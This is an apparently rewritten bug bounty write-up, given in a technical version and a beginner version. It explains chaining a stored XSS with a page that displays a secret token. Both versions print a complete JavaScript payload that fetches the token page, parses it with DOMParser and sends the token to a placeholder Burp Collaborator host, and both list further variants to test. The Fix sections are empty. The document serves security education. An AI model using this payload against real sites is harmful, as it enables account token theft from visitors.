Parsing the DOM elements of Other pages via XSS: A Bug Bounty Story
A stored XSS on one page of a domain was used to fetch another page on the same domain, parse its HTML with DOMParser, extract an unmasked secret token from the DOM, and send it to an attacker-controlled server. The attacker could steal the victim's token whenever the victim visited the page containing the XSS.
Published on medium.com
In this writeup I want to share with you all one of my bug bounty stories that I encountered last year . I did not find any writeup corresponding to this scenario so thought of writing about it .
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a bug bounty story about chaining two separate issues on the same domain: an information disclosure that on its own was unlikely to be rewarded, and a stored XSS found later on the same domain. The report uses victim.com as a placeholder in the payload and does not name the program or the product.
The feature involved is a page that displays a secret token back to the logged-in user in plaintext, without masking. The token lives inside a DOM element on a different page from the one where the XSS executes. The goal of the write-up is to show how the XSS can reach across to that other page, parse its HTML, extract the token and send it to an attacker-controlled server.
Setup
- A target domain (
victim.com) with at least two pages: one that renders the secret token in the DOM, and one that is vulnerable to stored XSS. - A page path for the token, given in the report as
https://victim.com/User/token. - A listener to receive the exfiltrated data. The report uses a Burp Collaborator subdomain, and suggests requestbin as an alternative for demonstrations.
- No accounts, roles or software versions are described in the report.
Finding it
The researcher first noticed that a secret token was being reflected back to the user without masking. This is the kind of finding that is often reported in penetration tests but rarely accepted in bug bounty programmes, and may only earn a small bounty in some cases. Rather than report it, the researcher set out to find a way to leak the token to an attacker.
After a few days on the target, an XSS was found on the same domain. The obstacle was that the information disclosure sat on a different page from the XSS. The payload therefore had to fetch the other page, read its DOM, pull out the token and send it out.
The token was reachable in the DOM of the token page with an expression like this (the report notes this was the actual location of the token):
var token = doc.getElementsByClassName("out-text")[23].textContent.split(",")[0].slice(234)
Exploitation
Step 1: create an XHR for the token page
The payload starts by creating an XMLHttpRequest and opening it against the affected URL:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://victim.com/User/token', true);
The payload opens a GET for the page that contains the token, from a page on the same domain.
Step 2: parse the response with DOMParser
The key point in the report is about script context. When you have script execution on a page, you control the current DOM and can read all of its elements, but the script's context is confined to that DOM. To read the response returned for a different page on the same domain, you need a parser, comparable to BeautifulSoup in Python. The current page is already parsed, so its elements can be accessed directly; a fetched page is not. JavaScript provides a built-in parser for this, DOMParser.
The onload handler takes the response text and parses it as HTML:
xhr.onload = function () {
var parser = new DOMParser();
var doc = parser.parseFromString(xhr.responseText, "text/html");
The handler passes xhr.responseText to parseFromString with text/html, producing a document the script can query.
Step 3: extract the token from the parsed document
The same expression used earlier is now applied to the parsed document, which the researcher calls the runtime DOM:
var token= doc.getElementsByClassName("out-text")[23].textContent.split(",")[0].slice(234)
This selects the element with class out-text at index 23, takes its text content, splits on a comma and keeps the first part, then slices from character 234. The result is the secret token.
Step 4: send the token to the attacker
A second XMLHttpRequest sends the token as a query parameter to the Collaborator subdomain:
var request = new XMLHttpRequest();
request.open('GET', 'https://xxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net/?token='+token, true);
request.send();
}
Step 5: the complete payload
Assembled, the payload is:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://victim.com/User/token', true);
xhr.onload = function () {
var request = new XMLHttpRequest();
var parser = new DOMParser();
var doc = parser.parseFromString(xhr.responseText, "text/html");
var token= doc.getElementsByClassName("out-text")[23].textContent.split(",")[0].slice(234);
request.open('GET', 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net/?token='+token, true);
request.send()
};
xhr.send();
</script>
Because the XSS was stored, the payload runs whenever a victim visits the vulnerable page, and that victim's token is leaked to the attacker's server.

Root cause
The report does not describe the server-side or client-side mistake behind either issue. What it does show is the combination: a page renders a secret token into the DOM in plaintext, and a stored XSS on the same origin gives an attacker script execution in that origin. Same-origin policy, which would normally stop a script on one site from reading another site's pages, does not help here because both pages are on the same domain. The report does not say which defences, if any, were present or why they failed.
Impact
Because the XSS was stored, whenever a victim visits the page, that victim's token gets leaked to the attacker's server. The report frames the token as sensitive information that the user sees in plaintext.
Fix
Variants to test
- Look for pages that render secrets (tokens, PII, API keys) into the DOM in plaintext, then look for any XSS on the same origin. A positive result is a payload that fetches the secret page, parses it with
DOMParserand delivers the value to your listener. - Test whether the secret page can be fetched cross-origin with permissive CORS. A positive result is an
Access-Control-Allow-Originheader that lets a script on another origin readresponseTextdirectly, without needing an XSS on the same domain. - Check whether the secret is exposed in an API response that the XSS page can call with the victim's cookies. A positive result is a JSON or text response containing the token that the payload can read and forward.
- Try the same DOM extraction against pages that render different layouts for different users. A positive result is a stable selector (class name, index, split and slice) that still yields the token, showing the payload is not tied to one account.
- Use requestbin instead of Burp Collaborator when demonstrating to a client, as the report suggests, so the leak can be watched live.
What happened, in plain words
A security researcher found two separate problems on the same website. The first was that a secret code (called a token) was shown to the user in plain sight on one page. On its own, that is often not considered a serious bug by bug bounty programmes. The second problem was a cross-site scripting (XSS) flaw on a different page of the same website. XSS lets an attacker run their own JavaScript code in a victim's browser as if it came from the website. The researcher combined the two: the XSS code fetched the page that showed the token, read the token from it, and sent it to a server controlled by the attacker. This article explains how that works, step by step, for someone who has never done security testing before.
The two problems
Information disclosure: a secret shown in plain text
Many websites show you your own personal data, such as your email address or an account token, without hiding it. A token is like a temporary key or password that a website gives your browser so it can recognise you later. The report does not say what the token allows. In penetration tests (authorised security tests), researchers report this kind of issue. In bug bounty programmes (where companies pay for reported bugs), it is often rejected because the user is only seeing their own information. Sometimes it earns a small reward.
In this story, the researcher noticed a secret token being displayed back to the user without any masking. Instead of reporting it immediately, the researcher decided to look for a way to steal that token and send it to an attacker.
Cross-site scripting (XSS): running attacker code in a victim's browser
XSS is a vulnerability that lets an attacker inject their own JavaScript into a web page viewed by other people. JavaScript is the programming language that runs in your browser and makes web pages interactive. When a page is vulnerable to XSS, the attacker's code runs with the same permissions as the website's own code. That means it can read anything on the page, make requests to the website on your behalf, and send data to other servers.
There are different types of XSS. In this case, it was a stored XSS: the malicious code is saved on the website and runs every time someone views the page that displays it.
The challenge: two pages, one domain
The token was on one page, and the XSS was on another page. Both pages were on the same website (same domain). The researcher needed to write a payload (the malicious script) that would run on the XSS page, fetch the token page, extract the token from it, and send it to a server controlled by the attacker.
A key idea here is the same-origin policy. This is a security rule built into browsers: a script from one website (origin) cannot read data from a different website. Two pages have the same origin if they share the same protocol (like https), domain (like victim.com), and port (like 443). Both pages were on the same domain, which is why the payload fetches the token page from the XSS page.
Finding the token in the page
The token was located inside a specific HTML element on the token page. HTML is the language that describes the structure of a web page. Elements are the building blocks, like paragraphs, buttons, or boxes. Each element can have a class, which is a label used to style or select it.
The researcher found that the token could be extracted with this line of code:
var token = doc.getElementsByClassName("out-text")[23].textContent.split(",")[0].slice(234)
Let's break it down:
docis a representation of the web page (a document object).getElementsByClassName("out-text")finds all elements that have the class nameout-text. It returns a list.[23]picks the 24th element in that list (counting starts at 0)..textContentgets the text inside that element..split(",")splits that text into an array (a list) of pieces, using the comma as the separator.[0]takes the first piece..slice(234)removes the first 234 characters from that piece, keeping the rest.
The result is the secret token. The researcher notes that this was the actual location of the token on the page.
Building the payload
Now we write the JavaScript that will run on the XSS page. The goal is to fetch the token page, parse its HTML, extract the token, and send it to the attacker's server.
Step 1: create a request for the token page
We start by creating an XMLHttpRequest object. This is a built-in browser tool that lets JavaScript make HTTP requests (the same kind your browser makes when you visit a page) without reloading the page. We open a GET request to the token page.
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://victim.com/User/token', true);
Line by line:
<script>starts a block of JavaScript code.var xhr = new XMLHttpRequest();creates a new request object and stores it in a variable calledxhr.xhr.open('GET', 'https://victim.com/User/token', true);sets up the request: it will use the GET method (asking for data), go to the URLhttps://victim.com/User/token, and thetruemeans it will be asynchronous (the page won't freeze while waiting for the response).
The request is made from a page on the same domain as the token page.
Step 2: parse the response
When the response arrives, we need to turn the raw HTML text into a structure we can search. The browser has a built-in parser called DOMParser that does exactly this. It takes a string of HTML and creates a document object, just like the one the browser creates when it loads a page.
xhr.onload = function () {
var parser = new DOMParser();
var doc = parser.parseFromString(xhr.responseText, "text/html");
Line by line:
xhr.onload = function () {sets up a function that will run when the request completes successfully.var parser = new DOMParser();creates a new parser object.var doc = parser.parseFromString(xhr.responseText, "text/html");takes the response text (the HTML of the token page) and parses it as HTML, storing the resulting document indoc.
The researcher compares this to BeautifulSoup, a Python library that parses HTML. The key point is that the current page is already parsed by the browser, so you can access its elements directly. But a page fetched via JavaScript is just text; you need to parse it yourself to search it.
Step 3: extract the token
Now we use the same expression as before, but on the parsed document (doc):
var token= doc.getElementsByClassName("out-text")[23].textContent.split(",")[0].slice(234)
This works exactly as described earlier: it finds the element with class out-text at index 23, gets its text, splits on comma, takes the first part, and slices from character 234. The result is the secret token, stored in the variable token.
Step 4: send the token to the attacker
Finally, we create another XMLHttpRequest to send the token to a server controlled by the attacker. The report uses a Burp Collaborator subdomain, which is a service that lets you detect and receive out-of-band interactions (like a request to a server you control).
var request = new XMLHttpRequest();
request.open('GET', 'https://xxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net/?token='+token, true);
request.send();
}
Line by line:
var request = new XMLHttpRequest();creates a new request object.request.open('GET', 'https://xxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net/?token='+token, true);sets up a GET request to the attacker's server, appending the stolen token as a query parameter namedtoken.request.send();sends the request.}closes theonloadfunction.
Step 5: the complete payload
Putting it all together, the full script is:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://victim.com/User/token', true);
xhr.onload = function () {
var request = new XMLHttpRequest();
var parser = new DOMParser();
var doc = parser.parseFromString(xhr.responseText, "text/html");
var token= doc.getElementsByClassName("out-text")[23].textContent.split(",")[0].slice(234);
request.open('GET', 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.burpcollaborator.net/?token='+token, true);
request.send()
};
xhr.send();
</script>
Line by line:
- The script starts.
- It creates an XHR for the token page and opens it.
- It defines what to do when the response loads: create another XHR, parse the response, extract the token, and send it to the attacker.
xhr.send();actually sends the first request.- The script ends.
Because the XSS was stored, whenever a victim visits the page, that victim's token gets leaked to the attacker's server.

Why this works
The root cause is the combination of two issues: a page that displays a secret token in plain text, and a stored XSS on the same domain. The same-origin policy normally prevents scripts from reading data from other domains, but here both pages are on the same domain, so the policy does not block the attack. The report does not describe any specific defences that were present or why they failed.
Impact
An attacker who can plant the stored XSS payload can leak the token of a victim who visits the vulnerable page. The token is sensitive because it is shown to the user in plain text, and the attacker receives it on their own server.
Fix
Variants to test
If you are learning security testing, here are some related things to look for:
- Look for pages that show secrets (tokens, personal data, API keys) in plain text, then look for any XSS on the same domain. A successful test is a payload that fetches the secret page, parses it with DOMParser, and sends the value to your listener.
- Check if the secret page can be fetched from a different domain using permissive CORS (Cross-Origin Resource Sharing). CORS is a way for servers to allow other domains to read their responses. If the server sends an
Access-Control-Allow-Originheader that allows your domain, you might read the response directly without needing XSS. - See if the secret is available in an API response that the XSS page can call with the victim's cookies. An API (Application Programming Interface) is a way for programs to talk to each other; here, it might return the token in JSON or text.
- Try the same DOM extraction on pages that look different for different users. A stable selector (class name, index, split, slice) that still yields the token means the payload works for many accounts.
- Use requestbin instead of Burp Collaborator when demonstrating to a client, as the report suggests, so the leak can be watched live. Requestbin is a service that gives you a URL to collect requests, similar to Collaborator but with a simpler interface.
Glossary
- Token: A piece of data, like a temporary key, that a website uses to identify a user or authorise actions.
- XSS (Cross-Site Scripting): A vulnerability that lets an attacker run their own JavaScript in a victim's browser.
- Stored XSS: A type of XSS where the malicious script is saved on the website and runs for every visitor of a page.
- DOM (Document Object Model): The browser's representation of a web page as a tree of objects that scripts can manipulate.
- XMLHttpRequest: A browser API that lets JavaScript send HTTP requests and receive responses without reloading the page.
- DOMParser: A built-in browser tool that turns a string of HTML into a DOM document.
- Same-origin policy: A browser security rule that prevents scripts from one origin from reading data from a different origin.
- Origin: The combination of protocol, domain, and port of a web page.
- Bug bounty programme: A programme where companies reward researchers for finding and reporting security bugs.
- Penetration test: An authorised security assessment where experts try to break into a system.
- Burp Collaborator: A service that helps detect out-of-band interactions, like a request to a server you control.
- Requestbin: A service that provides a URL to collect and inspect HTTP requests.
- CORS (Cross-Origin Resource Sharing): A mechanism that allows a server to permit other domains to read its responses.
- API (Application Programming Interface): A set of rules that allows different software to communicate.
- PII (Personally Identifiable Information): Data that can identify a specific person, like name, email, or phone number.
- CSRF token: A secret value used to protect against Cross-Site Request Forgery attacks.
- BeautifulSoup: A Python library for parsing HTML and XML documents.
- Query parameter: A part of a URL that passes data to the server, usually after a
?and in key=value pairs.